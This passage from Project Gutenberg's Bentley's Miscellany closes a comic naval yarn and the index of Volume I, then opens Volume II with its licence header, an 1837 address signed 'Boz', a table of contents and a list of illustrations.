+hoof off my toes, seeing as I haven't yet signed articles.'--'It was
+an accident,' says he, 'and here's something to buy a plaster;' and he
+throws down a couple of doubloons, which I claps into my pocket. 'You
+enter woluntarily into my service, then?' says he.--'To be sure I do,'
+says I, though I'm blessed if I wouldn't have given a treble pork-piece
+to have been on shore again.--'And you'll make your mark to that?'
+says he, 'and ax no further questions?'--'To be sure I will,' says I;
+and I'll just tell you what it is, messmates, I'm blowed if ever I was
+more harder up in my life than when I seed him raise the pen, as looked
+like a sharp lanchet, in his infernal thieving-hooks, and job it right
+into that beautiful arm, and the blood spun out, and the lady gave a
+skreek; and 'Sign--sign!' says he; 'quick, my man--your mark!'--'No,
+I'm d--if I do,' says I; 'let blood be on them as sheds it.'--'You
+won't?' says he.--'Never, you spawn o' Bellzebub!' says I; for I'd
+found him out, shipmates.--'Then take the consequences,' says he; and
+up went the black patch, and, by the Lord Harry! he sported an eye that
+nobody never seed the like on in their lives; it looked as big and as
+glaring as one o' them red glass bottles of a night-time as stands in
+the potecarry's windows with a lamp behind 'em; but it was ten thousand
+times more brilliant than the fiercest furnace that ever blazed,--you
+couldn't look upon it for a moment; and I felt a burning heat in my
+heart and in my stomach, as if I'd swallowed a pint of vitriol; and my
+strength was going away and I was withering to a hatomy, when all at
+once I recollects a charm as my ould mother hung round my neck when I
+was a babby, and I snatches it off and houlds it out at arm's length
+right in his very face. My precious eyes and limbs! how he did but caper
+about the cabin, till his hat fell off, and there was his two fore-tack
+bumkins reg'larly shipped over his bows and standing up with a bit of a
+twist outwards just like the head-gear of a billy-goat. 'Keep off, you
+bitch's babby!' says I, for he tried onknown schemes and manoeuvres
+to get at me; till suddenly I hears a loud ripping of stitches, and
+away went the casings of his lower stancheons, and out came a tail as
+long----"
+
+"Almost as long as your'n, I suppose," said old Jack Sheavehole; "a
+precious yarn you've been spinning us, Mister Bob!"
+
+"But what became of the lady?" inquired Sam Slick; "and what a lubber of
+a tailor he must have been to have performed his work so badly!"
+
+"The lady?" repeated Bob; "why, I gets her in tow under my arm, and
+shins away up the companion-ladder, the ould fellow chasing me along the
+deck with a boarding-pike, his tail sticking straight out abaft, just
+like a spanker-boom over his starn; but the charm kept him off, and away
+I runs to the gangway, where the shore-boat and the nigger were waiting,
+and you may guess, shipmates, I warn't long afore we were hard at work
+at the paddles; for I laid the lady down in the bottom o' the punt, and
+'Give way, you bit of ebony,' says I, 'or Jumbee 'ull have you stock
+and fluke.' Well, if there warn't a bobbery aboard the In-fun-oh, there
+never was a bobbery kicked up in the world; and 'Get ready that gun
+there!' shouted the skipper."
+
+At this moment the heavy booming of a piece of ordinance was heard
+sounding across the water. Up jumped Jemmy Ducks, and roared out, "Oh
+Lord! oh dear!--there's the devil again!--what shall I do!" and a
+general laugh followed.
+
+"The chase is trying his range, my lord," exclaimed Mr. Seymour; "but
+the shot must have fallen very short, as we couldn't hear it."
+
+"Keep less noise on the fokesel," said old Parallel. "What ails that
+lubberly wet-nurse to all the geese in the ship? Ay, ay, he'll have
+hould on you by-and-by! Get a pull of that topmast-stud'nsel tack."
+
+The men immediately obeyed; and, as they were coming up fast with the
+enemy, excitement and impatience put an end to long yarns. But Bob just
+squeezed out time to tell them that he got safe ashore with the lady;
+and the "In-fun-oh" tripped her anchor that same tide, dropped down the
+river, and put to sea, nor was she ever heard of again afterwards. The
+lady was the daughter of a rich merchant in Baltimore, who had been
+decoyed away from her family, but by the worthy tar's instrumentality
+was happily restored again. Bob got a glorious tuck-out aboard, the two
+doubloons were safe in his pocket, and the father of Marian treated him
+like a prince.
+
+Half an hour elapsed from the first discharge of the enemy's
+sternchaser, when he again tried his range; and, to prove how rapidly
+they were nearing each other, the shot this time passed over the British
+frigate. There was something exhilarating to the ears of the seamen in
+the whiz of its flight. Two or three taps on the drum aroused every man
+to his quarters; the guns were cast loose, and the bowchasers cleared
+away for the officers to practise. Heavy bets were made relative
+to hitting the target, the iron was well thrown, and every moment
+increased the eagerness of the tars to get fairly alongside. The land
+was rising higher and higher out of the water,--the French port was
+in view,--the enemy began to exult in the prospect of escape, when an
+eighteen-pounder, pointed by the hands of the old master, brought down
+her maintop-gallant-mast; and the Frenchman, finding it was utterly
+impossible to get away without fighting, shortened sail, and cleared for
+action. Three cheers hailed this manoeuvre. The British tars now made
+certain of their prize; and, when within half pistol-shot, in came the
+Spankaway's flying-kites, and in five minutes he was not only under snug
+commanding canvass, but the moment they returned to their quarters they
+passed close under the French frigate's stern, and steadily poured in
+a raking broadside, every shot doing its own proper duty, and crashing
+and tearing the enemy's stern-frame to pieces, ploughing up the decks
+as they ranged fore and aft, and diminishing the strength of their
+opponents by no less than twenty-seven killed and wounded. Still the
+Frenchman fought bravely, and handled his vessel in admirable style.
+Six of the Spankaway's lay dead, and thirteen wounded. Amongst the
+latter was our worthy old friend Will Parallel, the master; a splinter
+had struck him on the breast, and he was carried below insensible.
+Sea-fights have so often been described, that they have now but little
+novelty; let it therefore suffice, that, in fifty-six minutes from
+the first broadside, the tricoloured flag came down, and the national
+frigate _Hippolito_, mounting forty-four guns, struck to his Britannic
+Majesty's ship the Spankaway, whose first lieutenant, Mr. Seymour, was
+sent aboard to take possession, as a prelude to that step which he was
+now certain of obtaining. Thus two nights of labour passed away, and the
+triumph of the second made ample amendment for the misfortunes of the
+first; besides enabling the warrant-officers to expend their stores, and
+not a word about the white squall.
+
+
+
+
+               INDEX.
+
+                 A.
+  Addison, Mr. inedited letters of, 356, 357, 358, 360, 363;
+    anecdotes of him, 357 _n._;
+    remarks respecting him, 358, 359 _n._, 361, 362 _n._
+  Advertisement Extraordinary, theatrical, 152.
+  Ainsworth, W. H. piece by, 325.
+  Alps, inhabitants of the, observations on their superstition, 608.
+  Anatomy of Courage, 398.
+  An Evening of Visits, 80.
+  Anselm, Abbot, 347.
+  Anspach, Margravine of, mistake in her Memoirs
+            respecting the elder George Colman,   7.
+  Anti Dry-rot Company, song of the, 94.
+  April Fools, song of the month, 325.
+  Authors and Actors, a dramatic sketch, 132.
+
+                 B.
+  Bannister, J. his intimacy with George Colman, 14.
+  Baon Ri Dhuv, or the Black Lady, legend of, 519.
+  Barter, Richie, see _Richie Barter_.
+  ----, Mrs. see _Plum, Lady_.
+  Bath, Lord, 7.
+  Bayly, T. Haynes, pieces by, 79, 153, 260, 354, 578.
+  Beaumanoir, Col. de, 96.
+  Beaumarchais, M. de, passage in his life, 233.
+  Biographical Sketch of Richardson the Showman, 178.
+  Black Lady, legend of, see _Baon Ri Dhuv_.
+  Blue Wonder, story of the, 450.
+  Bob Burns and Beranger, 525.
+  Bobis Head, legend of, 519.
+  Bottle of St. Januarius, song of the month for January, 1.
+  "Boz," pieces by, 105, 218, 225, 291, 326, 430, 515.
+  Budgell, Mr. his remarks respecting Lord Halifax
+          and Mr. Addison, 358 n.
+  Bugle, Miss Sarah, account of, 451.
+  Bullfinch, Mr. Theophilus, 591.
+  Bumble, Mr. 109, 218, 225, 430.
+  Byron, his opinion of Sheridan, 427.
+
+                 C.
+  Canada, remarks on travelling in, 559.
+  Carew, Molly, lament of her Irish lover, 527.
+  Castlereagh, Lord, 581.
+  Chapman, T. paper by, 410.
+  Chapter in the Life of a Statesman,
+          being inedited letters of Addison, 356.
+  Clavijo, Don Joseph, 236.
+  Claypole, Noah, his treatment of Oliver Twist, 327;
+    his quarrel with him, 336;
+    conversation with Mr. Bumble, 430.
+  Cleaver, Dr. sketch of his life and character, 442.
+  Clifton, the Hot Wells of, 63.
+  C----, M. de, 86.
+  Cobbler of Dort, story of the, 403.
+  Coleridge, remarks respecting, 417.
+  Collier, W. paper by, 485.
+  Colman, Francis, 7.
+  ----, the elder George, remarks respecting, 7.
+  ----, George, memoir of, 7;
+    lines written by, 12;
+    impromptu by, 16.
+  Conla, 522.
+  Contradiction, 338.
+  Cooper, J. F. piece by, 80.
+  Courage, Anatomy of, 398.
+  Cover, song of the, 402.
+  Craggs, Mr. junior, remarks respecting him, 361 n.
+  Crichton, James (the admirable,) eulogiums on, 416.
+  Critical Gossip with Lady M. W. Montagu, 138.
+  Curetoun, Dr. 123.
+  ----, Mrs. C. 121.
+
+                   D.
+  Darby the Swift, his personal appearance, 543;
+    story respecting him, 544.
+  Dash, Capt. Lord Eustace, character of, 269;
+    anecdote related by, 276.
+  Davids, C. J. pieces by, 231, 297, 339.
+  Dawkins, Jack, 439.
+  Devil and Johnny Dixon, 251.
+  Dibbs, Mrs. 565.
+  Didler, Dick, adventures of, 565.
+  Dixon, Johnny, description of, 252;
+    account of his adventure with the Devil, 255.
+  Doall, Dr. his professional schemes, 444.
+  Downwithit, Dr. character of, 121.
+  Doyle, Owen, 20.
+  Dulcet, Dr. account of, 288.
+  Dumb Waiter, lines on the, 341.
+
+                   E.
+  Edward Saville, a transcript, 155.
+  Egan, Squire, 23, 27, 169;
+    his adventures with Gustavus Granby O'Grady,
+         owing to the mistakes of Handy Andy, 171;
+    with Murlough Murphy, 373.
+  English poets, Gossip with some Old, 98.
+  Epigrams, 190, 381, 409, 493, 508.
+  Eva, 522.
+  Evening Meditation, 250.
+  Evening of Visits, 80.
+  Execution, the, a sporting anecdote, 561.
+
+                   F.
+  Falcon, Dr. his marriage, 450;
+    his expectations from Miss Sarah Bugle, 451.
+  Falstaff, Sir John, observations on his influence with Henry V.
+          while Prince of Wales, 494;
+    Johnson's character of 496;
+    his Gadshill adventure, 503;
+    remarks on his countenance, 506.
+  Family Stories, No. 1. 191;
+    No. 11. 266;
+    No. III. 341;
+    No. IV. 529;
+    No. V. 561.
+  Feaghan, Father Paul, 253.
+  Fiddler, Mrs. 137.
+  Fireside Stories, No. I, 191, see _Family Stories_.
+  Fitzalban, Capt. Hon. A. F. story respecting his cow, 65.
+  Fitzgerald, Lord E. observations on, 558.
+  Fitzgrowl, Mr. 132.
+  Fog, lines on a London, 492.
+  Fontenelle, lines in imitation of, 88.
+  Foote, Samuel, remarks respecting him, 10;
+    memoir of, 298;
+    his plays, 300;
+    accusations against him, 303;
+    his death, 304;
+    opinions of his comedies, _ib._;
+    of his dramas, _ib._;
+    anecdotes of him, 305.
+  Fothergill, Father, description of, 344.
+  Fragment of Romance, 165.
+  Friar Laurence and Juliet, a poem, 354.
+
+                   G.
+  Gamfield, Mr. 219.
+  Garrick, David, Foote's ridicule of, 305.
+  Goldsmith, Oliver, anecdotes of, 9.
+  Goodere, Capt. 299.
+  ----, Sir John, allusion to his murder, 299.
+  Glorvina, the Maid of Meath, 614.
+  Gossip with some Old English Poets, 98.
+  Grand Cham of Tartary and the Humble-bee, a poem, 339.
+  Green, Mr. specimen of his poetry, 101.
+  Grey Dolphin, story of the, 341.
+  Grummet, J. 67.
+
+                   H.
+  Hajji Baba, his remarks on England, 280;
+    his projected mission to England, 284;
+    his preparations, 364;
+    instructions, 366;
+    his remarks on the alterations among the Turks, 369;
+    his inquiries on the state of England, 487;
+    observations on France, 488;
+    his passage to Dover, 489;
+    remarks on the officers of customs, 490.
+  Halifax, Earl of, see _Montague, Charles_.
+  Hamburgh, Steam trip to, 509.
+  Handy Andy, paper so called, No. I. 20;
+    No. II. 169;
+    No. III. 373.
+  Headlong Hall, pieces by the author of, 29, 187.
+  Hero and Leander, a poem, 410.
+  Herrick, Mr. specimen of his poetry, 99.
+  Hints for an Historical Play, 597.
+  Hippothanasia; or, the last of Tails--a lamentable tale, 319.
+  Hogarth, George, piece by, 233.
+  Horse-pond, Reflections in a, 470.
+  Hot Wells of Clifton, lines to the, 64.
+
+                   I.
+  Impromptu, by George Colman, 16;
+    on "Boz," 297.
+  Improvement, the victim of, 599.
+  Ingoldsby, T. 201;
+    papers by, 266, 341, 529.
+  ----, Caroline, legend of "Tapton Everard" related by, 195.
+  Inscription for a cemetery, 473.
+  Introduction to the Biography of my
+          Aunt Jemima, the Political Economist, 382.
+  Ivory, Mr. his relation of the story of "Plunder Creek," 127.
+
+                   J.
+  Jackdaw of Rheims, 529.
+  Jaques, criticism on Shakspeare's character of, 550.
+  Jennings, Mr. 55, 59.
+  ----, Mrs. story of, 591.
+  Jordan, W. pieces written by, 178, 319.
+  J----, Madame de, 86.
+  Jocund, Joyce, piece written by, 190.
+  Johnson, Dr. 8;
+    anecdotes of, 9;
+    his remarks on Foote, 301, 305;
+    his Rasselas, 550.
+  Johns, Richard, piece by, 313.
+  Jonson, Ben, specimen of his poetry, 98.
+
+                   K.
+  Kats, Jacob, cobbler of Dort, story respecting, 403.
+  Kingston, Duchess of, her persecution of Foote, 303.
+  Knowles, Sheridan, paper by, 614.
+  Kyan's Patent--the Nine Muses and the Dry-rot, 93.
+
+                   L.
+  Lament over the Bannister, 151.
+  Lavender, Lord John, account of his projected marriage
+         with Miss Sophy Miggins, 260.
+  Leary the Piper's Lilt, song of the month for May, 429.
+  Legends--of Manor Hall, 29;
+    of Hamilton Tighe, 266;
+    of Bohis Head, 519;
+    of Mount Pilate, 608.
+  Le Gros, C. F. paper by, 247.
+  Les Poissons d'Avril, 397.
+  Lines on the "Young Veteran," John Bannister, 168;
+    to a Lyric and Artist, 177.
+  Linley, Miss, poem to, 420;
+    her marriage with Sheridan, 421;
+    her death, 425.
+  Lions, some particulars concerning a, 515.
+  Literature of North America, observations on, 534.
+  Little Bit of Tape, story of the, 313.
+  Littlejohn, Mr. 67.
+  London Fog, lines on a, 492.
+  Love and Poverty, 469.
+  Love in the City, 584.
+  Lover, Samuel, pieces by, 20, 88, 169, 217, 373.
+
+                   M.
+  Mac Gawly, Roger, 34.
+  ----, Biddy, 33.
+  M'Flummery, Mr. story respecting, 210.
+  Madrigal Society, description of the, 465.
+  Magan, Mr. 255.
+  Magian, Dr. papers by, 2, 105, 494, 550.
+  Maguire, Barney, 191.
+  Mann, Mrs. 109.
+  Manor Hall, legend of, 29.
+  Man with the Tuft, 576.
+  Marbois, Marquis de, 81, 82 _n._
+  Mars and Venus, a poem, 247.
+  Martingal, Bob, story related by, 625.
+  Marvel, Andrew, extract from his poem addressed to Lord Fairfax, 99.
+  May Morning, song of the month for May, 429.
+  Meditation, an Evening, 250.
+  Memoir of George Colman, 7.
+  Merry Christmas, 260.
+  Metastasio, an imitation of, 88.
+  Metropolitan Men of Science, 89.
+  Miggins, Mr. Peter, his letter to Lord John Lavender, 260.
+  ----, Miss Sophy, 261, 265.
+  Minister's Fate, the, 577.
+  "Monstre" Balloon, a poem, 17.
+  Montagu, Lady Mary Wortley, remarks on her character, 138;
+    comparison between, and Byron, 140;
+    extracts from her letters, 141;
+    her observations on Addison, 362 _n._
+  Montague, Charles, Earl of Halifax,
+                 Addison's letters to, 356, 358, 360, 363;
+    remarks respecting him, 358 _n._ 359.
+  Months, songs of the, No. I. 1;
+    No. II. 105;
+    No. III. 217;
+    No. IV. 325;
+    No. V. 429;
+    No. VI. 533.
+  Morgan, Mr. 25.
+  Morier, J. Italian anecdote by, 103.
+  Mount Pilate, legend of, 608.
+  Murphy, Murtough, character of, 171;
+    his duel with Squire Egan, 373.
+  Murtough Murphy, _see Murphy_.
+  Muskan, Prince Puckler, paper by, 398.
+
+                   N.
+  Nights at Sea; or Sketches of Naval Life during the War, No. I. 269;
+    No. II. 474;
+    No. III. 621.
+  North American Indians, remarks on the periodical literature of, 534;
+    on their poetry, 536.
+  Nugent, Mr. specimen of his poetical taste, 272, 273.
+
+                   O.
+  Ode from the Emerald Isle, 620.
+  O'Dryscull, Reddy, communications by, 45, 397, 525.
+  O'Finn, Mrs. character of, 33;
+    her conversation with Terence O'Shaughnessy, 41.
+  O'Funnidos, Rigdum, piece written by, 208.
+  Ogle, Miss, her marriage with Sheridan, 425.
+  Old Age and Youth, a poem, 79.
+  Old English Poets, a Gossip with, 98.
+  Oliver Twist, his birth, 105;
+    education and board, 107;
+    escapes being apprenticed to a sweep, 218;
+    his entry into public life, 225;
+    conduct during his apprenticeship, 326;
+    his quarrel with Noah Claypole, 334;
+    his refractory conduct, 430;
+    account of his journey to London, 435;
+    of his rencontre with the strange young gentleman, 437;
+    introduction to the Jew, 441.
+  Ollier, Charles, paper by, 98.
+  Opening Chaunt to the Miscellany, 6.
+  "Original" Dragon, a legend of the Celestial Empire, 231.
+  Original of "Not a drum was heard," 97.
+  O'Shaughnessy, Terence, see _Terence O'Shaughnessy_.
+
+                   P.
+  Paddy Blake's Echo, 186.
+  Palaver, Mrs. character of, 591.
+  Pantomine of Life, 291.
+  Parallel, Mr. story told by, 277, 616.
+  Paris, remarks on society in, 86; picture of, in 1837, 387.
+  Passage in the Life of Beaumarchais, 233.
+  Perceval, Mr. remarks on his assassination, 679.
+  Periodical Literature of the North American Indians, 534.
+  Peter Plumbago's Correspondence, 448.
+  Peters, Mr. 196.
+  ----, Mrs. 196.
+  Phillips, Ambrose, remarks respecting him, 359 _n._
+  "Plunder Creek," (1783,) a legend of New York, 121.
+  Plum, Sir Toby, 116.
+  ----, Lady, 116.
+  Poets, Gossip with some Old English, 98.
+  Pontius Pilate, legend respecting, 610.
+  Pooledoune, John, the victim of improvement, 599.
+  ----, Roger, 600.
+  Portrait Gallery, No. I. 286;
+    No. II. 442.
+  Pounce, Mr. story related by him to the Wide-awake Club, 209.
+  Poverty, glee in praise of, 525.
+  Prologue to the miscellany, 2.
+  "Prout, Father," pieces by, 1, 46, 63, 96, 397, 525.
+
+                   Q.
+  Queershanks, Mr. 135.
+
+                   R.
+  Randolph, Thomas, specimen of his poetry, 99.
+  "Random Records," extract from, 14.
+  Rankin, F. H. paper by, 382.
+  "Rattlin the Reefer," piece by the author of, 65.
+  Rasselas, remarks on, 550.
+  Reckoning with Time, 12.
+  Recollections of Childhood, 187.
+  Reflections in a Horse-pond, 471.
+  Remains of Hajji Baba, 280, 364, 487.
+  Remnant of the time of Izaak Walton, a poem, 230.
+  Reynolds, Hamilton, piece by, 138.
+  Rheims, Jackdaw of, 529.
+  Richardson, John, the Showman, biographical account of, 178.
+  Richie Barter, story of, 116.
+  Rising Periodical, 101.
+  Robethon, M. de, Addison's letter to, 357.
+  Romance of a Day, 565.
+  Rooney, Andy, see _Handy Andy_.
+  Rose, Sir George, piece by, 168.
+
+                   S.
+  Sabine Farmer's Serenade, 46.
+  Saddleton, Emanuel, 341.
+  Scenes in the Life of a Gambler, 387.
+  Scowl, Mr. 133.
+  Seaforth, Lieut. Charles, account of his somnambulism, 191.
+  Seymour, Mr. story related by, 276.
+  Shakspeare, criticisms on his plays, 551.
+  Shakspeare Papers, No. I. 494;
+    No. II. 550.
+  Sheavehole, Jack, story told by, 476.
+  Sheridan, Richard Brinsley, memoirs of, 419;
+    his poem to Miss Linley, 420;
+    private marriage with her, 421;
+    his plays, 422;
+    his parliamentary talents, 424;
+    anecdote of, 425;
+    his second marriage, _ib._;
+    his misfortunes, 426;
+    death, _ib._;
+    character, 427;
+    Byron's opinion of, _ib._
+  Shurland, Sir Ralph de, adventures of, 341.
+  Signs of the Zodiac, a gastronomical chaunt, 397.
+  Simpkinson, Mr. character of, 197.
+  ----, Miss Julia, her poetic taste, 197;
+    her ode, 200.
+  Slowby, Richard, account of his adventures, 313.
+  ----, Sir James, 313.
+  Smyrk, Mr. Peter, 116.
+  Snaps, Mr. story respecting, 210.
+  Some particulars concerning a Lion, 515.
+  Songs, for the private theatre or drawing-room, 92;
+    of the Anti Dry-rot Company, 94;
+    of the Cover, 402;
+    songs of the month, No. I. 1;
+    No. II. 105;
+    No. III. 217;
+    No. IV 325;
+    No. V. 429;
+    No. VI. 533.
+  Sonnet to a Fog, 371.
+  Sorrows of Life, lines on the, 290.
+  Sowerberry, Mrs. character of, 229;
+    dislike of Oliver Twist, 335.
+  ----, Mr. description of, 225;
+    takes Oliver Twist as an apprentice, 227;
+    his conversation respecting him, 328;
+    character of, 433.
+  Spectre of Tappington, story of the, 191.
+  Spencer, Charles, Earl of Sunderland,
+                      remarks respecting him, 363 _n._
+  Spriggings, Miss Priscilla, 572.
+  Steam Trip to Hamburgh, 509.
+  "Stories of Waterloo," pieces by the author of, 33, 251.
+  Stray Chapters, No. I. 291;
+    No. II. 515.
+  Summer Night's Reverie, a poem, 428.
+  Sunderland, Earl of, see _Spencer, Charles_.
+  Swift, Dean, anecdote of, 2.
+
+                   T.
+  "Tales of an Antiquary," pieces by the author of, 121.
+  Tappington Everard, description of the Manor House of, 192.
+  Terence O'Shaughnessy, account of his first attempt
+          to get married, 33.
+  The Abbess and the Duchess, a poem, 153.
+  The Abbey House, 187.
+  Theatrical Advertisement Extraordinary, 152.
+  "The Bee-Hive," pieces by the author of, 286, 442.
+  "The Old Sailor," pieces by, 269, 474.
+  The Spectre, a poem, 131.
+  The Two Butlers, 306.
+  Time, Reckoning with, a poem by Colman the Younger, 12.
+  Timmins, Mr. his description of the Wide-awake Club, 209.
+  Tom ----, story respecting, 306.
+  Tomnoddy, Lord, 561.
+  Travelling, remarks on, 561.
+  Tulrumble, Mr. N. account of the public life of, 49.
+  ----, Mrs. 51, 52.
+  Twigger, Edward, 53.
+
+                   U.
+  Useful Young Man, a poem, 485.
+
+                   V.
+  Victoria, Princess, ode on her birth-day, 620.
+  Visit to the Madrigal Society, 465.
+  Visits, an Evening of, 80.
+
+                   W.
+  Wade, J. A. pieces by, 186, 492.
+  Warwick, Countess of, notice of her marriage with Addison, 362 n.
+  Webbe, Egerton, paper by, 371.
+  Wharton, Duke of, anecdote of, 357 n.
+  ----, Thomas, Earl of Wharton, lord lieutenant of Ireland,
+                  remarks respecting, 356 n.
+  Whitehead, C. pieces by, 155, 461.
+  Who are you? a song, 88.
+  Who milked by cow? paper so called, 65.
+  Wide-awake Club, character of the, 208.
+  Whitbread, Mr. his respect for Mr. Perceval, 583.
+
+                   Y.
+  Youth's New Vade Mecum, a poem, 462.
+
+                   Z.
+  "Zohrab," papers by the author of, 280, 364, 487.
+
+
+                     END OF THE FIRST VOLUME.
+     London: Printed by Samuel Bentley, Dorset-street, Fleet-street.
+
+
+
+
+
+End of Project Gutenberg's Bentley's Miscellany, Volume I, by Various
+
+*** END OF THIS PROJECT GUTENBERG EBOOK BENTLEY'S MISCELLANY, VOLUME I ***
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+The Project Gutenberg EBook of Bentley's Miscellany, Volume II, by Various
+
+This eBook is for the use of anyone anywhere in the United States and most
+other parts of the world at no cost and with almost no restrictions
+whatsoever.  You may copy it, give it away or re-use it under the terms of
+the Project Gutenberg License included with this eBook or online at
+www.gutenberg.org.  If you are not located in the United States, you'll have
+to check the laws of the country where you are located before using this ebook.
+
+Title: Bentley's Miscellany, Volume II
+
+Author: Various
+
+Contributor: Richard Bentley
+
+Release Date: September 7, 2014 [EBook #46804]
+
+Language: English
+
+Character set encoding: UTF-8
+
+*** START OF THIS PROJECT GUTENBERG EBOOK BENTLEY'S MISCELLANY, VOLUME II ***
+
+
+
+
+Produced by Jason Isbell, Chris Jordan and the Online
+Distributed Proofreading Team at http://www.pgdp.net (This
+book was produced from scanned images of public domain
+material from the Google Print project.)
+
+
+
+
+
+
+
+
+
+                               BENTLEY'S
+                              MISCELLANY.
+
+                               VOL. II.
+
+                                LONDON:
+                           RICHARD BENTLEY,
+                        NEW BURLINGTON STREET.
+
+                                 1837.
+
+
+                                LONDON:
+                      PRINTED BY SAMUEL BENTLEY,
+                     Dorset Street, Fleet Street.
+
+
+
+
+ADDRESS.
+
+
+Twelve months have elapsed since we first took the field, and every
+successive number of our Miscellany has experienced a warmer reception,
+and a more extensive circulation, than its predecessor.
+
+In the opening of the new year, and the commencement of our new volume,
+we hope to make many changes for the better, and none for the worse;
+and, to show that, while we have one grateful eye to past patronage,
+we have another wary one to future favours; in short, that, like the
+heroine of the sweet poem descriptive of the faithlessness and perjury
+of Mr. John Oakhum, of the Royal Navy, we look two ways at once.
+
+It is our intention to usher in the new year with a very merry
+greeting, towards the accomplishment of which end we have prevailed
+upon a long procession of distinguished friends to mount their hobbies
+on the occasion, in humble imitation of those adventurous and
+aldermanic spirits who gallantly bestrode their foaming chargers on the
+memorable ninth of this present month, while
+
+    "The stones did rattle underneath,
+    As if Cheapside were mad."
+
+These, and a hundred other great designs, preparations, and surprises,
+are in contemplation, for the fulfilment of all of which we are already
+bound in two volumes cloth, and have no objection, if it be any
+additional security to the public, to stand bound in twenty more.
+
+        BOZ.
+
+        30th November, 1837.
+
+
+
+
+  CONTENTS
+  OF THE
+  SECOND VOLUME.
+
+
+  SONGS of the Month--July, by "Father Prout;" August; September, by
+  "Father Prout;" October, by J.M.; November, by C.D.; December, by
+  Punch                                 Pages 1, 109, 213, 321, 429, 533
+
+  Papers by Boz:
+    Oliver Twist, or the Parish Boy's Progress,    2, 110, 215, 430, 534
+    The Mudfog Association for the Advancement of Everything         397
+
+  Poetry by Mrs. Cornwell Baron Wilson:
+    Elegiac Stanzas                                                   16
+    Lady Blue's Ball                                                 380
+    My Father's Old Hall                                             453
+
+  Fictions of the Middle Ages: The Butterfly Bishop, by Delta         17
+
+  A New Song to the Old Tune of Kate Kearney                          25
+
+  What Tom Binks did when he didn't know what to do with himself      26
+
+  A Gentleman Quite                                                   36
+
+  The Foster-Child                                                    37
+
+  The White Man's Devil-house, by F.H. Rankin                        46
+
+  A Lyric for Lovers                                                  50
+
+  The Remains of Hajji Baba, by the Author of "Zohrab"            51,166
+
+  Shakspeare Papers, by Dr. Maginn:
+    No. III. Romeo                                                    57
+         IV. Midsummer Night's Dream--Bottom the Weaver              370
+          V. His Ladies--Lady Macbeth                                550
+
+  The Piper's Progress, by Father Prout                               67
+
+  Papers by J.A. Wade:
+    No. II. Darby the Swift                                           68
+       III. The Darbiad                                              464
+    Song of the Old Bell                                             196
+    Serenade to Francesca                                            239
+    Phelim O'Toole's Nine Muse-ings on his Native County             319
+
+  Papers by Captain Medwin:
+    The Duel                                                          76
+    Mascalbruni                                                      254
+    The Last of the Bandits                                          585
+
+  The Monk of Ravenne                                                 81
+
+  A Marine's Courtship, by M. Burke Honan                             82
+
+  Family Stories, by Thomas Ingoldsby:
+    No. VI. Mrs. Botherby's Story--The Leech of Folkestone            91
+       VII. Patty Morgan the Milkmaid's Story--Look at the Clock     207
+
+  What though we were Rivals of yore, by T. Haynes Bayly             124
+
+  Papers by the Author of "Stories of Waterloo:"
+    Love in the City                                                 125
+    The Regatta, No. I.: Run Across Channel                          299
+    Legends--of Ballar; the Church of the Seven; and the Tory
+      Islanders                                                      527
+
+  Three Notches from the Devil's Tail, or the Man in the Spanish
+    Cloak, by the Author of "Reminiscences of a Monthly Nurse"       135
+
+  The Serenade                                                       149
+
+  The Portrait Gallery, by the Author of "The Bee Hive"
+    No. III. The Cannon Family                                       150
+         IV. Journey to Boulogne                                     454
+
+  A Chapter on Laughing                                              163
+
+  A Muster-chaunt for the Members of the Temperance Societies        165
+
+  My Uncle: a Fragment                                               175
+
+  Why the Wind blows round St. Paul's, by Joyce Jocund               176
+
+  Papers by C. Whitehead:
+    Rather Hard to Take                                              181
+    The Narrative of John Ward Gibson                                240
+
+  Nights at Sea, by the Old Sailor:
+    No. IV. The French Captain's Story                               183
+         V. The French Captain's Story                               471
+        VI. Jack among the Mummies                                   610
+
+  Midnight Mishaps, by Edward Mayhew                                 197
+
+  The Dream                                                          206
+
+  Genius, or the Dog's-meat Dog, by Egerton Webbe                    214
+
+  The Poisoners of the Seventeenth Century, by George Hogarth:
+    No. I. The Marchioness de Brinvilliers                           229
+       II. Sir Thomas Overbury                                       322
+
+  Smoke                                                              268
+
+  Some Passages in the Life of a Disappointed Man                    270
+
+  The Professor, by Goliah Gahagan                                   277
+
+  Biddy Tibbs, who cared for Nobody, by H. Holl                      288
+
+  The Key of Granada                                                 303
+
+  Glorvina, the Maid of Meath, by J. Sheridan Knowles                304
+
+  An Excellent Offer, by Marmaduke Blake                             340
+
+  The Autobiography of a Good Joke                                   354
+
+  The Secret, by M. Paul de Kock                                     360
+
+  The Man with the Club-foot                                         381
+
+  A Remonstratory Ode to Mr. Cross on the Eruption of Mount Vesuvius,
+    by Joyce Jocund                                                  413
+
+  Memoirs of Beau Nash                                               414
+
+  Grub-street News                                                   425
+
+  The Confessions of an Elderly Gentleman                            445
+
+  The Relics of St. Pius                                             462
+
+  A few Inquiries                                                    470
+
+  Lines occasioned by the Death of Count Borowlaski                  484
+
+  A Chapter on Widows                                                485
+
+  Petrarch in London                                                 494
+
+  Adventures in Paris, by Toby Allspy:
+    The Five Floors                              No. I. 495; No. II. 575
+
+  Martial in Town                                                    507
+
+  Astronomical Agitation--Reform of the Solar System                 508
+
+  The Adventures of a Tale, by Mrs. Erskine Norton                   511
+
+  When and Why the Devil Invented Brandy                             518
+
+  The Wit in spite of Himself, by Richard Johns                      521
+
+  The Apportionment of the World, from Schiller                      549
+
+  Ode to the Queen                                                   568
+
+  Suicide                                                            569
+
+  The Glories of Good Humour                                         591
+
+  Song of the Modern Time                                            594
+
+  Capital Punishments in London Eighty Years ago--Earl Ferrers       595
+
+  A Peter Pindaric to and of a Fog, by Punch                         606
+
+  The Castle by the Sea                                              623
+
+  Legislative Nomenclature                                           624
+
+  Nobility in Disguise, by Dudley Costello                           626
+
+  Another Original of "Not a Drum was heard,"                        632
+
+  Index                                                              633
+
+
+
+
+ILLUSTRATIONS.
+
+BY GEORGE CRUIKSHANK.
+
+
+                                                              Page
+
+  Oliver Twist--The Dodger's way of going to work                2
+
+  A Marine's Courtship                                          82
+
+  Oliver Twist recovering from the fever                       110
+
+  Midnight Mishaps                                             197
+
+  Oliver Twist and his affectionate Friends                    215
+
+  A Disappointed Man                                           270
+
+  The Autobiography of a Good Joke                             354
+
+  The Secret                                                   360
+
+  Oliver Twist returns to the Jew's den                        430
+
+  The Confessions of an Elderly Gentleman                      445
+
+  Oliver Twist instructed by the Dodger                        533
+
+  Jack among the Mummies                                       610
+
+
+  Portrait of Beau Nash, by W. Greatbach                       414
+
+
+
+
+BENTLEY'S MISCELLANY.
+
+
